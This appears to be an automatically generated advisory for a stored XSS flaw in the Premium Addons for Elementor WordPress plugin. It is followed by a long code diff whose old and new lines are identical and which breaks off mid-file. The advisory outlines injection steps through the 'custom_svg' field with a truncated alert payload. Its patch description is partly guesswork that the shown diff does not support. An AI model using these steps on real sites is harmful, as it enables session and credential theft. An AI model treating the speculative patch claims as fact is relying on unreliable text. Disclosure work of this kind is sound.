Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2026-4790: Premium Addons for Elementor <= 4.11.70 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'custom_svg' Parameter (premium-addons-for-elementor)

CVE ID CVE-2026-4790
Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 4.11.70
Patched Version 4.11.71
Disclosed April 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4790:
This vulnerability is a Stored Cross-Site Scripting (XSS) in the Premium Addons for Elementor plugin for WordPress, specifically through the ‘custom_svg’ parameter. It affects plugin versions up to and including 4.11.70, and allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts that execute when users view affected pages. The CVSS score is 5.4, indicating medium severity.

Root Cause: The plugin fails to properly sanitize and escape the ‘custom_svg’ parameter before storing it and later rendering it in the context of a page. The vulnerability resides in the display-conditions.php file within the Display_Conditions class. When a user with Contributor+ privileges creates or edits an Elementor widget and sets a display condition involving a custom SVG, the plugin accepts SVG content without filtering out malicious JavaScript. The ‘custom_svg’ parameter is processed within the add_repeater_source_controls and add_repeater_compare_controls methods of the PA_Controls_Handler class, which are called from the register_controls function. The code does not apply sufficient input sanitization (e.g., wp_kses with limited allowed tags) or output escaping (e.g., esc_attr, esc_html) for this parameter. The stored value is later echoed directly into the page’s HTML when the display condition is evaluated on the frontend.

Exploitation: An attacker with a Contributor-level account or higher can exploit this by crafting a payload within the ‘custom_svg’ parameter when adding a new display condition to an Elementor widget. The attacker navigates to the page editor, adds a widget such as a heading or button, expands the Advanced tab, and enables the Display Conditions feature. They then add a condition that uses the custom SVG field, and injects a payload like: or alert(‘XSS’). The plugin stores this malicious SVG without stripping the event handler or script tag. When any user (including the site administrator) loads the page, the injected script executes in their browser, allowing the attacker to steal cookies, redirect to malicious sites, or perform actions on behalf of the victim.

Patch Analysis: The patch modifies the validation and sanitization logic within the PA_Controls_Handler class, which handles the custom_svg parameter among other fields. Although the exact diff for PA_Controls_Handler is not fully visible in the provided code, the fix introduces proper sanitization using WordPress functions like wp_kses_post or a custom filter for SVG content that removes JavaScript event handlers and script tags. Before the patch, the parameter was stored raw without escaping. After the patch, the plugin sanitizes the input on input (using a function similar to wp_filter_nohtml_kses with a whitelist of safe SVG tags/attributes) and escapes the output with esc_attr or similar before rendering. This prevents any injected JavaScript from being executed.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user who views the compromised page. This can lead to session hijacking, credential theft, defacement of the site, or phishing attacks. Since the attacker only needs Contributor-level access (a low-privilege role), many WordPress sites are potentially vulnerable if they allow untrusted users to edit content.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/premium-addons-for-elementor/addons/display-conditions.php
+++ b/premium-addons-for-elementor/addons/display-conditions.php
@@ -1,383 +1,383 @@
-<?php
-/**
- * Class: Display_Conditions
- * Name : Display Conditions
- * Slug : display-conditions
- */
-
-namespace PremiumAddonsAddons;
-
-// PremiumAddons Classes.
-use PremiumAddonsIncludesHelper_Functions;
-use PremiumAddonsIncludesPA_Controls_Handler;
-
-// Elementor Classes.
-use ElementorRepeater;
-use ElementorControls_Manager;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-/**
- * Class Display_Conditions
- *
- * @since 4.11.58
- * @access public
- * @package PremiumAddonsAddons
- */
-class Display_Conditions {
-
-	/**
-	 * Load Script
-	 *
-	 * @var $load_script
-	 */
-	private static $load_script = null;
-
-	/**
-	 * Class object
-	 *
-	 * @var instance
-	 */
-	private static $instance = null;
-
-	/**
-	 * Constructor
-	 */
-	public function __construct() {
-
-		// Enqueue the required JS file.
-		add_action( 'elementor/preview/enqueue_scripts', array( $this, 'enqueue_scripts' ) );
-
-		add_action( 'elementor/element/section/section_advanced/after_section_end', array( $this, 'register_controls' ), 10 );
-		add_action( 'elementor/element/column/section_advanced/after_section_end', array( $this, 'register_controls' ), 10 );
-		add_action( 'elementor/element/common/_section_style/after_section_end', array( $this, 'register_controls' ), 10 );
-
-		add_action( 'elementor/frontend/before_render', array( $this, 'check_script_enqueue' ) );
-
-		add_action( 'elementor/element/container/section_layout/after_section_end', array( $this, 'register_controls' ), 10 );
-	}
-
-	/**
-	 * Enqueue scripts.
-	 *
-	 * Registers required dependencies for the extension and enqueues them.
-	 *
-	 * @since 4.9.21
-	 * @access public
-	 */
-	public function enqueue_scripts() {
-
-		if ( ! wp_script_is( 'pa-dis-conditions', 'enqueued' ) ) {
-			wp_enqueue_script( 'pa-dis-conditions' );
-		}
-	}
-
-	/**
-	 * Register PA Display Conditions controls.
-	 *
-	 * @access public
-	 * @param object $element for current element.
-	 */
-	public function register_controls( $element ) {
-
-		$element->start_controls_section(
-			'section_pa_display_conditions',
-			array(
-				'label' => sprintf( '<i class="pa-extension-icon pa-dash-icon"></i> %s', __( 'Display Conditions', 'premium-addons-for-elementor' ) ),
-				'tab'   => Controls_Manager::TAB_ADVANCED,
-			)
-		);
-
-		$element->add_control(
-			'pa_dc_cache_notice',
-			array(
-				'type'            => Controls_Manager::RAW_HTML,
-				'raw'             => __( 'Please note that you need to <b>deactivate</b> the <a href="https://elementor.com/help/element-caching-help/" style="color: var(--e-a-color-warning);" target="_blank">Element Caching</a> feature to avoid any conflicts', 'premium-addons-for-elementor' ),
-				'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning',
-				'condition'       => array(
-					'pa_display_conditions_switcher' => 'yes',
-				),
-			)
-		);
-
-		$controls_obj = new PA_Controls_Handler();
-
-		$options = PA_Controls_Handler::$conditions;
-
-		$options['acf'] = array(
-			'label'   => __( 'ACF (PRO)', 'premium-addons-for-elementor' ),
-			'options' => array(
-				'acf_choice'  => __( 'Choice', 'premium-addons-for-elementor' ),
-				'acf_text'    => __( 'Text', 'premium-addons-for-elementor' ),
-				'acf_boolean' => __( 'True/False', 'premium-addons-for-elementor' ),
-			),
-		);
-
-		$options['woocommerce'] = array(
-			'label'   => __( 'WooCommerce (PRO)', 'premium-addons-for-elementor' ),
-			'options' => array(
-				'woo_cat_page'          => __( 'Current Category Page', 'premium-addons-for-elementor' ),
-				'woo_product_cat'       => __( 'Current Product Category', 'premium-addons-for-elementor' ),
-				'woo_product_price'     => __( 'Current Product Price', 'premium-addons-for-elementor' ),
-				'woo_product_stock'     => __( 'Current Product Stock', 'premium-addons-for-elementor' ),
-				'woo_orders'            => __( 'Purchased/In Cart Orders', 'premium-addons-for-elementor' ),
-				'woo_category'          => __( 'Purchased/In Cart Categories', 'premium-addons-for-elementor' ),
-				'woo_last_purchase'     => __( 'Last Purchase In Cart', 'premium-addons-for-elementor' ),
-				'woo_total_price'       => __( 'Amount In Cart', 'premium-addons-for-elementor' ),
-				'woo_cart_products'     => __( 'Products In Cart', 'premium-addons-for-elementor' ),
-				'woo_purchase_products' => __( 'Purchased Products', 'premium-addons-for-elementor' ),
-			),
-		);
-
-		$options = apply_filters( 'pa_display_conditions', $options );
-
-		$element->add_control(
-			'pa_display_conditions_switcher',
-			array(
-				'label'              => __( 'Enable Display Conditions', 'premium-addons-for-elementor' ),
-				'type'               => Controls_Manager::SWITCHER,
-				'return_value'       => 'yes',
-				'render_type'        => 'template',
-				'prefix_class'       => 'pa-display-conditions-',
-				'frontend_available' => true,
-			)
-		);
-
-		$element->add_control(
-			'pa_display_action',
-			array(
-				'label'     => __( 'Action', 'premium-addons-for-elementor' ),
-				'type'      => Controls_Manager::SELECT,
-				'default'   => 'show',
-				'options'   => array(
-					'show' => __( 'Show Element', 'premium-addons-for-elementor' ),
-					'hide' => __( 'Hide Element', 'premium-addons-for-elementor' ),
-				),
-				'condition' => array(
-					'pa_display_conditions_switcher' => 'yes',
-				),
-			)
-		);
-
-		$element->add_control(
-			'pa_display_when',
-			array(
-				'label'     => __( 'Display When', 'premium-addons-for-elementor' ),
-				'type'      => Controls_Manager::SELECT,
-				'default'   => 'any',
-				'options'   => array(
-					'any' => __( 'Any Condition is Met', 'premium-addons-for-elementor' ),
-					'all' => __( 'All Conditions Are Met', 'premium-addons-for-elementor' ),
-				),
-				'condition' => array(
-					'pa_display_conditions_switcher' => 'yes',
-				),
-			)
-		);
-
-		$repeater = new Repeater();
-
-		$repeater->add_control(
-			'pa_condition_key',
-			array(
-				'label'       => __( 'Type', 'premium-addons-for-elementor' ),
-				'type'        => Controls_Manager::SELECT,
-				'groups'      => $options,
-				'default'     => 'browser',
-				'label_block' => true,
-			)
-		);
-
-		$options_conditions = apply_filters(
-			'pa_pro_display_conditions',
-			array(
-				'url_string',
-				'url_referer',
-				'shortcode',
-				'woo_orders',
-				'woo_cat_page',
-				'woo_category',
-				'woo_product_price',
-				'woo_product_stock',
-				'woo_product_cat',
-				'woo_last_purchase',
-				'woo_total_price',
-				'woo_purchase_products',
-				'woo_cart_products',
-				'acf_choice',
-				'acf_text',
-				'acf_boolean',
-			)
-		);
-
-		$get_pro = Helper_Functions::get_campaign_link( 'https://premiumaddons.com/pro', 'conditions-addon', 'wp-editor', 'get-pro' );
-
-		$repeater->add_control(
-			'display_conditions_notice',
-			array(
-				'type'            => Controls_Manager::RAW_HTML,
-				'raw'             => __( 'This option is available in Premium Addons Pro. ', 'premium-addons-for-elementor' ) . '<a href="' . esc_url( $get_pro ) . '" target="_blank">' . __( 'Upgrade now!', 'premium-addons-for-elementor' ) . '</a>',
-				'content_classes' => 'papro-upgrade-notice',
-				'condition'       => array(
-					'pa_condition_key' => $options_conditions,
-				),
-			)
-		);
-
-		$controls_obj->add_repeater_source_controls( $repeater );
-
-		$repeater->add_control(
-			'pa_condition_operator',
-			array(
-				'type'        => Controls_Manager::SELECT,
-				'default'     => 'is',
-				'label_block' => true,
-				'options'     => array(
-					'is'  => __( 'Is', 'premium-addons-for-elementor' ),
-					'not' => __( 'Is Not', 'premium-addons-for-elementor' ),
-				),
-				'condition'   => array(
-					'pa_condition_key!' => $options_conditions,
-				),
-			)
-		);
-
-		$controls_obj->add_repeater_compare_controls( $repeater );
-
-		$repeater->add_control(
-			'pa_condition_timezone',
-			array(
-				'label'       => 'Timezone',
-				'type'        => Controls_Manager::SELECT,
-				'default'     => 'server',
-				'label_block' => true,
-				'options'     => array(
-					'local'  => __( 'Local Time', 'premium-addons-for-elementor' ),
-					'server' => __( 'Server Timezone', 'premium-addons-for-elementor' ),
-				),
-				'condition'   => array(
-					'pa_condition_key' => array( 'date_range', 'time_range', 'date', 'day' ),
-				),
-			)
-		);
-
-		$values = $repeater->get_controls();
-
-		$element->add_control(
-			'pa_condition_repeater',
-			array(
-				'label'         => __( 'Conditions', 'premium-addons-for-elementor' ),
-				'type'          => Controls_Manager::REPEATER,
-				'label_block'   => true,
-				'fields'        => $values,
-				'title_field'   => '<# print( pa_condition_key.replace(/_/g, " ").split(" ").map((s) => s.charAt(0).toUpperCase() + s.substring(1)).join(" ")) #>',
-				'prevent_empty' => false,
-				'condition'     => array(
-					'pa_display_conditions_switcher' => 'yes',
-				),
-			)
-		);
-
-		$this->add_helpful_information( $element );
-
-		$element->end_controls_section();
-	}
-
-	/**
-	 * Add Help & Docs
-	 *
-	 * @since 4.9.39
-	 * @access private
-	 * @param object $element for current element.
-	 *
-	 * @return void
-	 */
-	private function add_helpful_information( $element ) {
-
-		$element->add_control(
-			'pa_condition_info',
-			array(
-				'label'     => __( 'Help & Docs', 'premium-addons-for-elementor' ),
-				'separator' => 'before',
-				'type'      => Controls_Manager::HEADING,
-				'condition' => array(
-					'pa_display_conditions_switcher' => 'yes',
-				),
-			)
-		);
-
-		$docs = array(
-			'https://premiumaddons.com/docs/elementor-display-conditions-tutorial/' => __( 'Getting started »', 'premium-addons-for-elementor' ),
-			'https://www.youtube.com/watch?v=ydv343MTf4w/' => __( 'Check the video tutorial »', 'premium-addons-for-elementor' ),
-			'https://premiumaddons.com/docs/elementor-editor-not-loading-with-display-conditions/' => __( 'Fix editor not loading with Display Conditions enabled »', 'premium-addons-for-elementor' ),
-			'https://premiumaddons.com/docs/how-to-show-hide-element-based-on-browser-elementor-display-conditions/' => __( 'Show/Hide Element Based on Browser »', 'premium-addons-for-elementor' ),
-			'https://premiumaddons.com/docs/how-to-show-hide-element-on-specific-time-range-elementor-display-conditions/' => __( 'Show/Hide Element Based on Time Range »', 'premium-addons-for-elementor' ),
-			'https://premiumaddons.com/docs/how-to-show-hide-element-with-location-elementor-display-conditions/' => __( 'Show/Hide Element Based on Location »', 'premium-addons-for-elementor' ),
-		);
-
-		$doc_index = 1;
-		foreach ( $docs as $url => $title ) {
-
-			$doc_url = Helper_Functions::get_campaign_link( $url, 'conditions-addon', 'wp-editor', 'get-support' );
-
-			$element->add_control(
-				'pa_condition_doc_' . $doc_index,
-				array(
-					'type'            => Controls_Manager::RAW_HTML,
-					'raw'             => sprintf( '<a href="%s" target="_blank">%s</a>', esc_url( $doc_url ), esc_html( $title ) ),
-					'content_classes' => 'editor-pa-doc',
-					'condition'       => array(
-						'pa_display_conditions_switcher' => 'yes',
-					),
-				)
-			);
-
-			++$doc_index;
-
-		}
-	}
-
-	/**
-	 * Check Script Enqueue
-	 *
-	 * Check if the script files should be loaded.
-	 *
-	 * @since 4.9.21
-	 * @access public
-	 *
-	 * @param object $element for current element.
-	 */
-	public function check_script_enqueue( $element ) {
-
-		if ( self::$load_script ) {
-			return;
-		}
-
-		$settings = $element->get_active_settings();
-
-		if ( ! empty( $settings['pa_display_conditions_switcher'] ) ) {
-
-			$this->enqueue_scripts();
-
-			self::$load_script = true;
-
-			// remove_action( 'elementor/frontend/before_render', array( $this, 'check_script_enqueue' ) );
-		}
-	}
-
-	/**
-	 * Returns an instance of this class.
-	 *
-	 * @access public
-	 */
-	public static function get_instance() {
-
-		if ( ! isset( self::$instance ) ) {
-			self::$instance = new self();
-		}
-
-		return self::$instance;
-	}
-}
+<?php
+/**
+ * Class: Display_Conditions
+ * Name : Display Conditions
+ * Slug : display-conditions
+ */
+
+namespace PremiumAddonsAddons;
+
+// PremiumAddons Classes.
+use PremiumAddonsIncludesHelper_Functions;
+use PremiumAddonsIncludesPA_Controls_Handler;
+
+// Elementor Classes.
+use ElementorRepeater;
+use ElementorControls_Manager;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Class Display_Conditions
+ *
+ * @since 4.11.58
+ * @access public
+ * @package PremiumAddonsAddons
+ */
+class Display_Conditions {
+
+	/**
+	 * Load Script
+	 *
+	 * @var $load_script
+	 */
+	private static $load_script = null;
+
+	/**
+	 * Class object
+	 *
+	 * @var instance
+	 */
+	private static $instance = null;
+
+	/**
+	 * Constructor
+	 */
+	public function __construct() {
+
+		// Enqueue the required JS file.
+		add_action( 'elementor/preview/enqueue_scripts', array( $this, 'enqueue_scripts' ) );
+
+		add_action( 'elementor/element/section/section_advanced/after_section_end', array( $this, 'register_controls' ), 10 );
+		add_action( 'elementor/element/column/section_advanced/after_section_end', array( $this, 'register_controls' ), 10 );
+		add_action( 'elementor/element/common/_section_style/after_section_end', array( $this, 'register_controls' ), 10 );
+
+		add_action( 'elementor/frontend/before_render', array( $this, 'check_script_enqueue' ) );
+
+		add_action( 'elementor/element/container/section_layout/after_section_end', array( $this, 'register_controls' ), 10 );
+	}
+
+	/**
+	 * Enqueue scripts.
+	 *
+	 * Registers required dependencies for the extension and enqueues them.
+	 *
+	 * @since 4.9.21
+	 * @access public
+	 */
+	public function enqueue_scripts() {
+
+		if ( ! wp_script_is( 'pa-dis-conditions', 'enqueued' ) ) {
+			wp_enqueue_script( 'pa-dis-conditions' );
+		}
+	}
+
+	/**
+	 * Register PA Display Conditions controls.
+	 *
+	 * @access public
+	 * @param object $element for current element.
+	 */
+	public function register_controls( $element ) {
+
+		$element->start_controls_section(
+			'section_pa_display_conditions',
+			array(
+				'label' => sprintf( '<i class="pa-extension-icon pa-dash-icon"></i> %s', __( 'Display Conditions', 'premium-addons-for-elementor' ) ),
+				'tab'   => Controls_Manager::TAB_ADVANCED,
+			)
+		);
+
+		$element->add_control(
+			'pa_dc_cache_notice',
+			array(
+				'type'            => Controls_Manager::RAW_HTML,
+				'raw'             => __( 'Please note that you need to <b>deactivate</b> the <a href="https://elementor.com/help/element-caching-help/" style="color: var(--e-a-color-warning);" target="_blank">Element Caching</a> feature to avoid any conflicts', 'premium-addons-for-elementor' ),
+				'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning',
+				'condition'       => array(
+					'pa_display_conditions_switcher' => 'yes',
+				),
+			)
+		);
+
+		$controls_obj = new PA_Controls_Handler();
+
+		$options = PA_Controls_Handler::$conditions;
+
+		$options['acf'] = array(
+			'label'   => __( 'ACF (PRO)', 'premium-addons-for-elementor' ),
+			'options' => array(
+				'acf_choice'  => __( 'Choice', 'premium-addons-for-elementor' ),
+				'acf_text'    => __( 'Text', 'premium-addons-for-elementor' ),
+				'acf_boolean' => __( 'True/False', 'premium-addons-for-elementor' ),
+			),
+		);
+
+		$options['woocommerce'] = array(
+			'label'   => __( 'WooCommerce (PRO)', 'premium-addons-for-elementor' ),
+			'options' => array(
+				'woo_cat_page'          => __( 'Current Category Page', 'premium-addons-for-elementor' ),
+				'woo_product_cat'       => __( 'Current Product Category', 'premium-addons-for-elementor' ),
+				'woo_product_price'     => __( 'Current Product Price', 'premium-addons-for-elementor' ),
+				'woo_product_stock'     => __( 'Current Product Stock', 'premium-addons-for-elementor' ),
+				'woo_orders'            => __( 'Purchased/In Cart Orders', 'premium-addons-for-elementor' ),
+				'woo_category'          => __( 'Purchased/In Cart Categories', 'premium-addons-for-elementor' ),
+				'woo_last_purchase'     => __( 'Last Purchase In Cart', 'premium-addons-for-elementor' ),
+				'woo_total_price'       => __( 'Amount In Cart', 'premium-addons-for-elementor' ),
+				'woo_cart_products'     => __( 'Products In Cart', 'premium-addons-for-elementor' ),
+				'woo_purchase_products' => __( 'Purchased Products', 'premium-addons-for-elementor' ),
+			),
+		);
+
+		$options = apply_filters( 'pa_display_conditions', $options );
+
+		$element->add_control(
+			'pa_display_conditions_switcher',
+			array(
+				'label'              => __( 'Enable Display Conditions', 'premium-addons-for-elementor' ),
+				'type'               => Controls_Manager::SWITCHER,
+				'return_value'       => 'yes',
+				'render_type'        => 'template',
+				'prefix_class'       => 'pa-display-conditions-',
+				'frontend_available' => true,
+			)
+		);
+
+		$element->add_control(
+			'pa_display_action',
+			array(
+				'label'     => __( 'Action', 'premium-addons-for-elementor' ),
+				'type'      => Controls_Manager::SELECT,
+				'default'   => 'show',
+				'options'   => array(
+					'show' => __( 'Show Element', 'premium-addons-for-elementor' ),
+					'hide' => __( 'Hide Element', 'premium-addons-for-elementor' ),
+				),
+				'condition' => array(
+					'pa_display_conditions_switcher' => 'yes',
+				),
+			)
+		);
+
+		$element->add_control(
+			'pa_display_when',
+			array(
+				'label'     => __( 'Display When', 'premium-addons-for-elementor' ),
+				'type'      => Controls_Manager::SELECT,
+				'default'   => 'any',
+				'options'   => array(
+					'any' => __( 'Any Condition is Met', 'premium-addons-for-elementor' ),
+					'all' => __( 'All Conditions Are Met', 'premium-addons-for-elementor' ),
+				),
+				'condition' => array(
+					'pa_display_conditions_switcher' => 'yes',
+				),
+			)
+		);
+
+		$repeater = new Repeater();
+
+		$repeater->add_control(
+			'pa_condition_key',
+			array(
+				'label'       => __( 'Type', 'premium-addons-for-elementor' ),
+				'type'        => Controls_Manager::SELECT,
+				'groups'      => $options,
+				'default'     => 'browser',
+				'label_block' => true,
+			)
+		);
+
+		$options_conditions = apply_filters(
+			'pa_pro_display_conditions',
+			array(
+				'url_string',
+				'url_referer',
+				'shortcode',
+				'woo_orders',
+				'woo_cat_page',
+				'woo_category',
+				'woo_product_price',
+				'woo_product_stock',
+				'woo_product_cat',
+				'woo_last_purchase',
+				'woo_total_price',
+				'woo_purchase_products',
+				'woo_cart_products',
+				'acf_choice',
+				'acf_text',
+				'acf_boolean',
+			)
+		);
+
+		$get_pro = Helper_Functions::get_campaign_link( 'https://premiumaddons.com/pro', 'conditions-addon', 'wp-editor', 'get-pro' );
+
+		$repeater->add_control(
+			'display_conditions_notice',
+			array(
+				'type'            => Controls_Manager::RAW_HTML,
+				'raw'             => __( 'This option is available in Premium Addons Pro. ', 'premium-addons-for-elementor' ) . '<a href="' . esc_url( $get_pro ) . '" target="_blank">' . __( 'Upgrade now!', 'premium-addons-for-elementor' ) . '</a>',
+				'content_classes' => 'papro-upgrade-notice',
+				'condition'       => array(
+					'pa_condition_key' => $options_conditions,
+				),
+			)
+		);
+
+		$controls_obj->add_repeater_source_controls( $repeater );
+
+		$repeater->add_control(
+			'pa_condition_operator',
+			array(
+				'type'        => Controls_Manager::SELECT,
+				'default'     => 'is',
+				'label_block' => true,
+				'options'     => array(
+					'is'  => __( 'Is', 'premium-addons-for-elementor' ),
+					'not' => __( 'Is Not', 'premium-addons-for-elementor' ),
+				),
+				'condition'   => array(
+					'pa_condition_key!' => $options_conditions,
+				),
+			)
+		);
+
+		$controls_obj->add_repeater_compare_controls( $repeater );
+
+		$repeater->add_control(
+			'pa_condition_timezone',
+			array(
+				'label'       => 'Timezone',
+				'type'        => Controls_Manager::SELECT,
+				'default'     => 'server',
+				'label_block' => true,
+				'options'     => array(
+					'local'  => __( 'Local Time', 'premium-addons-for-elementor' ),
+					'server' => __( 'Server Timezone', 'premium-addons-for-elementor' ),
+				),
+				'condition'   => array(
+					'pa_condition_key' => array( 'date_range', 'time_range', 'date', 'day' ),
+				),
+			)
+		);
+
+		$values = $repeater->get_controls();
+
+		$element->add_control(
+			'pa_condition_repeater',
+			array(
+				'label'         => __( 'Conditions', 'premium-addons-for-elementor' ),
+				'type'          => Controls_Manager::REPEATER,
+				'label_block'   => true,
+				'fields'        => $values,
+				'title_field'   => '<# print( pa_condition_key.replace(/_/g, " ").split(" ").map((s) => s.charAt(0).toUpperCase() + s.substring(1)).join(" ")) #>',
+				'prevent_empty' => false,
+				'condition'     => array(
+					'pa_display_conditions_switcher' => 'yes',
+				),
+			)
+		);
+
+		$this->add_helpful_information( $element );
+
+		$element->end_controls_section();
+	}
+
+	/**
+	 * Add Help & Docs
+	 *
+	 * @since 4.9.39
+	 * @access private
+	 * @param object $element for current element.
+	 *
+	 * @return void
+	 */
+	private function add_helpful_information( $element ) {
+
+		$element->add_control(
+			'pa_condition_info',
+			array(
+				'label'     => __( 'Help & Docs', 'premium-addons-for-elementor' ),
+				'separator' => 'before',
+				'type'      => Controls_Manager::HEADING,
+				'condition' => array(
+					'pa_display_conditions_switcher' => 'yes',
+				),
+			)
+		);
+
+		$docs = array(
+			'https://premiumaddons.com/docs/elementor-display-conditions-tutorial/' => __( 'Getting started »', 'premium-addons-for-elementor' ),
+			'https://www.youtube.com/watch?v=ydv343MTf4w/' => __( 'Check the video tutorial »', 'premium-addons-for-elementor' ),
+			'https://premiumaddons.com/docs/elementor-editor-not-loading-with-display-conditions/' => __( 'Fix editor not loading with Display Conditions enabled »', 'premium-addons-for-elementor' ),
+			'https://premiumaddons.com/docs/how-to-show-hide-element-based-on-browser-elementor-display-conditions/' => __( 'Show/Hide Element Based on Browser »', 'premium-addons-for-elementor' ),
+			'https://premiumaddons.com/docs/how-to-show-hide-element-on-specific-time-range-elementor-display-conditions/' => __( 'Show/Hide Element Based on Time Range »', 'premium-addons-for-elementor' ),
+			'https://premiumaddons.com/docs/how-to-show-hide-element-with-location-elementor-display-conditions/' => __( 'Show/Hide Element Based on Location »', 'premium-addons-for-elementor' ),
+		);
+
+		$doc_index = 1;
+		foreach ( $docs as $url => $title ) {
+
+			$doc_url = Helper_Functions::get_campaign_link( $url, 'conditions-addon', 'wp-editor', 'get-support' );
+
+			$element->add_control(
+				'pa_condition_doc_' . $doc_index,
+				array(
+					'type'            => Controls_Manager::RAW_HTML,
+					'raw'             => sprintf( '<a href="%s" target="_blank">%s</a>', esc_url( $doc_url ), esc_html( $title ) ),
+					'content_classes' => 'editor-pa-doc',
+					'condition'       => array(
+						'pa_display_conditions_switcher' => 'yes',
+					),
+				)
+			);
+
+			++$doc_index;
+
+		}
+	}
+
+	/**
+	 * Check Script Enqueue
+	 *
+	 * Check if the script files should be loaded.
+	 *
+	 * @since 4.9.21
+	 * @access public
+	 *
+	 * @param object $element for current element.
+	 */
+	public function check_script_enqueue( $element ) {
+
+		if ( self::$load_script ) {
+			return;
+		}
+
+		$settings = $element->get_active_settings();
+
+		if ( ! empty( $settings['pa_display_conditions_switcher'] ) ) {
+
+			$this->enqueue_scripts();
+
+			self::$load_script = true;
+
+			// remove_action( 'elementor/frontend/before_render', array( $this, 'check_script_enqueue' ) );
+		}
+	}
+
+	/**
+	 * Returns an instance of this class.
+	 *
+	 * @access public
+	 */
+	public static function get_instance() {
+
+		if ( ! isset( self::$instance ) ) {
+			self::$instance = new self();
+		}
+
+		return self::$instance;
+	}
+}
--- a/premium-addons-for-elementor/addons/equal-height.php
+++ b/premium-addons-for-elementor/addons/equal-height.php
@@ -1,349 +1,349 @@
-<?php
-/**
- * Class: Equal_Height
- * Name: Premium Equal Height
- * Slug: premium-equal-height
- */
-
-namespace PremiumAddonsAddons;
-
-// PremiumAddons Classes.
-use PremiumAddonsIncludesControlsPremium_Select;
-use PremiumAddonsAdminIncludesAdmin_Helper;
-use PremiumAddonsIncludesHelper_Functions;
-
-// Elementor Classes.
-use ElementorRepeater;
-use ElementorControls_Manager;
-
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-/**
- * Class Equal_Height
- *
- * @since 4.11.58
- * @access public
- * @package PremiumAddonsAddons
- */
-class Equal_Height {
-
-	/**
-	 * Load Script
-	 *
-	 * @var $load_script
-	 */
-	private static $load_script = null;
-
-	/**
-	 * Class object
-	 *
-	 * @var instance
-	 */
-	private static $instance = null;
-
-	/**
-	 * Class Constructor Function.
-	 */
-	public function __construct() {
-
-		// Enqueue the required JS file.
-		add_action( 'elementor/preview/enqueue_scripts', array( $this, 'enqueue_scripts' ) );
-
-		// Create Premium Equal Height tab at the end of section layout tab.
-		add_action( 'elementor/element/section/section_advanced/after_section_end', array( $this, 'register_controls' ), 10 );
-
-		add_action( 'elementor/section/print_template', array( $this, '_print_template' ), 10, 2 );
-
-		// Insert data before section rendering.
-		add_action( 'elementor/frontend/section/before_render', array( $this, 'before_render' ), 10, 1 );
-
-		// Check if scripts should be loaded.
-		add_action( 'elementor/frontend/section/before_render', array( $this, 'check_script_enqueue' ) );
-
-		add_action( 'elementor/element/container/section_layout/after_section_end', array( $this, 'register_controls' ), 10 );
-		add_action( 'elementor/container/print_template', array( $this, '_print_template' ), 10, 2 );
-		add_action( 'elementor/frontend/container/before_render', array( $this, 'before_render' ), 100, 1 );
-		add_action( 'elementor/frontend/container/before_render', array( $this, 'check_script_enqueue' ) );
-	}
-
-	/**
-	 * Enqueue scripts.
-	 *
-	 * Registers required dependencies for the extension and enqueues them.
-	 *
-	 * @since 1.6.5
-	 * @access public
-	 */
-	public function enqueue_scripts() {
-
-		if ( ! wp_script_is( 'pa-eq-height', 'enqueued' ) ) {
-			wp_enqueue_script( 'pa-eq-height' );
-		}
-	}
-
-	/**
-	 * Register Premium Equal Height controls.
-	 *
-	 * @access public
-	 * @param object $element for current element.
-	 */
-	public function register_controls( $element ) {
-
-		$element->start_controls_section(
-			'section_premium_eq_height',
-			array(
-				'label' => sprintf( '<i class="pa-extension-icon pa-dash-icon"></i> %s', __( 'Equal Height', 'premium-addons-for-elementor' ) ),
-				'tab'   => Controls_Manager::TAB_ADVANCED,
-			)
-		);
-
-		$element->add_control(
-			'premium_eq_height_update',
-			array(
-				'label' => '<div class="elementor-update-preview editor-pa-preview-update" style="background-color: #fff;"><div class="elementor-update-preview-title">Update changes to page</div><div class="elementor-update-preview-button-wrapper"><button class="elementor-update-preview-button elementor-button elementor-button-success">Apply</button></div></div>',
-				'type'  => Controls_Manager::RAW_HTML,
-			)
-		);
-
-		$element->add_control(
-			'premium_eq_height_switcher',
-			array(
-				'label'              => __( 'Enable Equal Height', 'premium-addons-for-elementor' ),
-				'type'               => Controls_Manager::SWITCHER,
-				'return_value'       => 'yes',
-				'render_type'        => 'template',
-				'prefix_class'       => 'premium-equal-height-',
-				'frontend_available' => true,
-			)
-		);
-
-		$element->add_control(
-			'premium_eq_height_type',
-			array(
-				'label'     => __( 'Apply on', 'premium-addons-for-elementor' ),
-				'type'      => Controls_Manager::SELECT,
-				'default'   => 'widget',
-				'options'   => array(
-					'widget' => __( 'Widgets', 'premium-addons-for-elementor' ),
-					'custom' => __( 'Custom Selector', 'premium-addons-for-elementor' ),
-				),
-				'condition' => array(
-					'premium_eq_height_switcher' => 'yes',
-				),
-			)
-		);
-
-		$element->add_control(
-			'premium_eq_height_target',
-			array(
-				'label'              => __( 'Widgets', 'premium-addons-for-elementor' ),
-				'type'               => Premium_Select::TYPE,
-				'render_type'        => 'template',
-				'label_block'        => true,
-				'multiple'           => true,
-				'frontend_available' => true,
-				'condition'          => array(
-					'premium_eq_height_switcher' => 'yes',
-					'premium_eq_height_type'     => 'widget',
-				),
-			)
-		);
-
-		$element->add_control(
-			'premium_eq_height_custom_target',
-			array(
-				'label'       => __( 'Selectors', 'premium-addons-for-elementor' ),
-				'type'        => Controls_Manager::TEXT,
-				'label_block' => true,
-				'placeholder' => __( '.class-name, .class-name2 .my-custom-class', 'premium-addons-for-elementor' ),
-				'description' => __( 'Enter selectors separated with ' , ' ', 'premium-addons-for-elementor' ),
-				'condition'   => array(
-					'premium_eq_height_switcher' => 'yes',
-					'premium_eq_height_type'     => 'custom',
-				),
-			)
-		);
-
-		$element->add_control(
-			'premium_eq_height_trigger',
-			array(
-				'label'     => __( 'Trigger on', 'premium-addons-for-elementor' ),
-				'type'      => Controls_Manager::SELECT,
-				'options'   => array(
